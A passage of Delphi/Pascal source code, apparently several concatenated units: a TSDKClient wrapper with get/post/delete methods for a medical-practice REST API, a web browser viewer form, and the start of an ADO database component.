Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletepayment_gateway_details/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getpayments(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpayments/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postpayments(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postpayments/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletepayments(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletepayments/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getpharmacies(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpharmacies/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postpharmacies(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postpharmacies/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletepharmacies(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletepharmacies/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getphone_numbers(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getphone_numbers/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postphone_numbers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postphone_numbers/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletephone_numbers(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletephone_numbers/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getpnotes(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpnotes/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postpnotes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postpnotes/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletepnotes(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletepnotes/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprescriptions(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprescriptions/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprescriptions(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprescriptions/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprescriptions(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprescriptions/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprices(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprices/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprices(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprices/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprices(Apr_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprices/?pr_id='+Apr_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprocedure_answers(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprocedure_answers/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprocedure_answers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprocedure_answers/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprocedure_answers(Aprocedure_order_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprocedure_answers/?procedure_order_id='+Aprocedure_order_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprocedure_order(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprocedure_order/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprocedure_order(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprocedure_order/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprocedure_order(Aprocedure_order_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprocedure_order/?procedure_order_id='+Aprocedure_order_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprocedure_order_code(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprocedure_order_code/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprocedure_order_code(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprocedure_order_code/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprocedure_order_code(Aprocedure_order_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprocedure_order_code/?procedure_order_id='+Aprocedure_order_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprocedure_providers(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprocedure_providers/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprocedure_providers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprocedure_providers/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprocedure_providers(Appid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprocedure_providers/?ppid='+Appid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprocedure_questions(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprocedure_questions/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprocedure_questions(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprocedure_questions/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprocedure_questions(Alab_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprocedure_questions/?lab_id='+Alab_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprocedure_report(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprocedure_report/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprocedure_report(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprocedure_report/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprocedure_report(Aprocedure_report_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprocedure_report/?procedure_report_id='+Aprocedure_report_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprocedure_result(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprocedure_result/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprocedure_result(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprocedure_result/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprocedure_result(Aprocedure_result_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprocedure_result/?procedure_result_id='+Aprocedure_result_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getprocedure_type(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getprocedure_type/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postprocedure_type(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postprocedure_type/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteprocedure_type(Aprocedure_type_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteprocedure_type/?procedure_type_id='+Aprocedure_type_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getproduct_warehouse(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getproduct_warehouse/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postproduct_warehouse(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postproduct_warehouse/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteproduct_warehouse(Apw_drug_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteproduct_warehouse/?pw_drug_id='+Apw_drug_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getregistry(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getregistry/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postregistry(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postregistry/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteregistry(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteregistry/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getreport_itemized(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getreport_itemized/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getreport_results(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getreport_results/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postreport_results(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postreport_results/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletereport_results(Areport_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletereport_results/?report_id='+Areport_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getrule_action(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getrule_action/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getrule_action_item(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getrule_action_item/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postrule_action_item(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postrule_action_item/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleterule_action_item(Acategory: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleterule_action_item/?category='+Acategory+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getrule_filter(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getrule_filter/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getrule_patient_data(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getrule_patient_data/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postrule_patient_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postrule_patient_data/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleterule_patient_data(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleterule_patient_data/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getrule_reminder(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getrule_reminder/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getrule_target(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getrule_target/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getsequences(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getsequences/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getshared_attributes(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getshared_attributes/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postshared_attributes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postshared_attributes/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteshared_attributes(Apid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteshared_attributes/?pid='+Apid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getstandardized_tables_track(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getstandardized_tables_track/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.poststandardized_tables_track(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/poststandardized_tables_track/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletestandardized_tables_track(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletestandardized_tables_track/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getsupported_external_dataloads(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getsupported_external_dataloads/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getsyndromic_surveillance(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getsyndromic_surveillance/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postsyndromic_surveillance(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postsyndromic_surveillance/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletesyndromic_surveillance(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletesyndromic_surveillance/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.gettemplate_users(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/gettemplate_users/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.posttemplate_users(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/posttemplate_users/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletetemplate_users(Atu_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletetemplate_users/?tu_id='+Atu_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.gettransactions(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/gettransactions/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.posttransactions(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/posttransactions/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletetransactions(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletetransactions/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getuser_settings(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getuser_settings/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postuser_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postuser_settings/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteuser_settings(Asetting_user: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteuser_settings/?setting_user='+Asetting_user+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getusers(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getusers/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postusers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postusers/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteusers(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteusers/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getusers_facility(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getusers_facility/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postusers_facility(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postusers_facility/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteusers_facility(Atablename: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteusers_facility/?tablename='+Atablename+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getusers_secure(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getusers_secure/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postusers_secure(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postusers_secure/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteusers_secure(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteusers_secure/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getvalueset(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getvalueset/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postvalueset(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postvalueset/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletevalueset(Anqf_code: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletevalueset/?nqf_code='+Anqf_code+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getversion(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getversion/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getvoids(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getvoids/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postvoids(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postvoids/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletevoids(Avoid_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletevoids/?void_id='+Avoid_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getx12_partners(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getx12_partners/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postx12_partners(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postx12_partners/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletex12_partners(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletex12_partners/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; end.
unit WebView; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, OleCtrls, SHDocVw_TLB, AmlView, ExtCtrls, islctrls, RXCtrls, StdCtrls, ShellAPI; type TWebViewer = class(TForm) WebBrowser: TWebBrowser; ToolsPanel: TPanel; BtnBack: TRxSpeedButton; BtnForward: TRxSpeedButton; BtnStop: TRxSpeedButton; BtnRefresh: TRxSpeedButton; HeadingLabel: TLabel; BtnWebSearch: TRxSpeedButton; procedure WebBrowserStatusTextChange(Sender: TObject; const Text: WideString); procedure WebBrowserTitleChange(Sender: TObject; const Text: WideString); procedure BtnBackClick(Sender: TObject); procedure BtnForwardClick(Sender: TObject); procedure BtnStopClick(Sender: TObject); procedure BtnRefreshClick(Sender: TObject); procedure WebBrowserCommandStateChange(Sender: TObject; Command: Integer; Enable: WordBool); procedure BtnWebSearchClick(Sender: TObject); private FAddrMgr : IAddressManager; FStatus : IStatusDisplay; FActiveTitle : String; procedure SetURL(const AURL : String); public property AddressMgr : IAddressManager read FAddrMgr write FAddrMgr; property StatusMgr : IStatusDisplay read FStatus write FStatus; property URL : String write SetURL; end; implementation {$R *.DFM} procedure TWebViewer.SetURL(const AURL : String); var Null : OleVariant; begin FAddrMgr.SetQuickLinks('', 0, Nil, '', tpNone); FillChar(Null, SizeOf(Null), 0); WebBrowser.Navigate(AUrl, Null, Null, Null, Null); WebBrowser.Toolbar := 0; end; procedure TWebViewer.WebBrowserStatusTextChange(Sender: TObject; const Text: WideString); begin if Assigned(FStatus) then FStatus.StatusBegin(Text, False); end; procedure TWebViewer.WebBrowserTitleChange(Sender: TObject; const Text: WideString); begin FActiveTitle := Text; HeadingLabel.Caption := FActiveTitle; end; procedure TWebViewer.BtnBackClick(Sender: TObject); begin WebBrowser.GoBack; end; procedure TWebViewer.BtnForwardClick(Sender: TObject); begin WebBrowser.GoForward; end; procedure TWebViewer.BtnStopClick(Sender: TObject); begin WebBrowser.Stop; end; procedure TWebViewer.BtnRefreshClick(Sender: TObject); begin WebBrowser.Refresh; end; procedure TWebViewer.WebBrowserCommandStateChange(Sender: TObject; Command: Integer; Enable: WordBool); begin case Command of 1 : BtnForward.Enabled := Enable; 2 : BtnBack.Enabled := Enable; end; end; procedure TWebViewer.BtnWebSearchClick(Sender: TObject); begin WebBrowser.GoSearch; end; end.
unit htDb; interface uses Classes, Messages, ADODB, htDatabaseProfile; const DB_CHANGE = WM_USER + $100; type ThtDb = class(TComponent) private FAdoConnection: TAdoConnection; FServerName: string; FUsers: TList; protected function GetConnected: Boolean; procedure SetConnected(const Value: Boolean); procedure SetProfile(const Value: ThtDatabaseProfile); procedure SetServerName(const Value: string); public constructor Create(inOwner: TComponent); override; destructor Destroy; override; procedure AddUser(inComponent: TComponent); procedure ListTables(inTables: TStrings); procedure RemoveUser(inComponent: TComponent); property AdoConnection: TAdoConnection read FAdoConnection; property Profile: ThtDatabaseProfile write SetProfile; published property Connected: Boolean read GetConnected write SetConnected; property ServerName: string read FServerName write SetServerName; end; // ThtDbTable = class(TComponent) private FColumns: TStringList; FDb: ThtDb; FAdoTable: TAdoTable; protected function GetActive: Boolean; function GetColumns: TStrings; function GetTableName: string; procedure DBChange(var inMessage: TMessage); message DB_CHANGE; procedure Notification(AComponent: TComponent; Operation: TOperation); override; procedure SetColumns(const Value: TStrings); procedure SetDb(const Value: ThtDb); procedure SetTableName(const Value: string); procedure SetActive(const Value: Boolean); procedure UpdateColumns; procedure UpdateTable; public constructor Create(inOwner: TComponent); override; destructor Destroy; override; property AdoTable: TAdoTable read FAdoTable; published property Columns: TStrings read GetColumns write SetColumns; property Active: Boolean read GetActive write SetActive; property Db: ThtDb read FDb write SetDb; property TableName: string read GetTableName write SetTableName; end; implementation { ThtDb } constructor ThtDb.Create(inOwner: TComponent); begin inherited; FAdoConnection := TAdoConnection.Create(inOwner); FUsers := TList.Create; end; destructor ThtDb.Destroy; begin FUsers.Free; FAdoConnection.Free; inherited; end; procedure ThtDb.SetServerName(const Value: string); begin if FServerName <> Value then begin FServerName := Value; Profile := DatabaseProfileMgr.DatabaseByName[ServerName]; end; end; procedure ThtDb.SetProfile(const Value: ThtDatabaseProfile); begin Connected := false; with Value do AdoConnection.ConnectionString := ODBC; end; function ThtDb.GetConnected: Boolean; begin Result := AdoConnection.Connected; end; procedure ThtDb.SetConnected(const Value: Boolean); begin AdoConnection.Connected := Value; end; procedure ThtDb.ListTables(inTables: TStrings); begin AdoConnection.GetTableNames(inTables, true); end; procedure ThtDb.AddUser(inComponent: TComponent); begin FUsers.Add(inComponent); FreeNotification(inComponent); end; procedure ThtDb.RemoveUser(inComponent: TComponent); begin FUsers.Remove(inComponent); RemoveFreeNotification(inComponent); end; 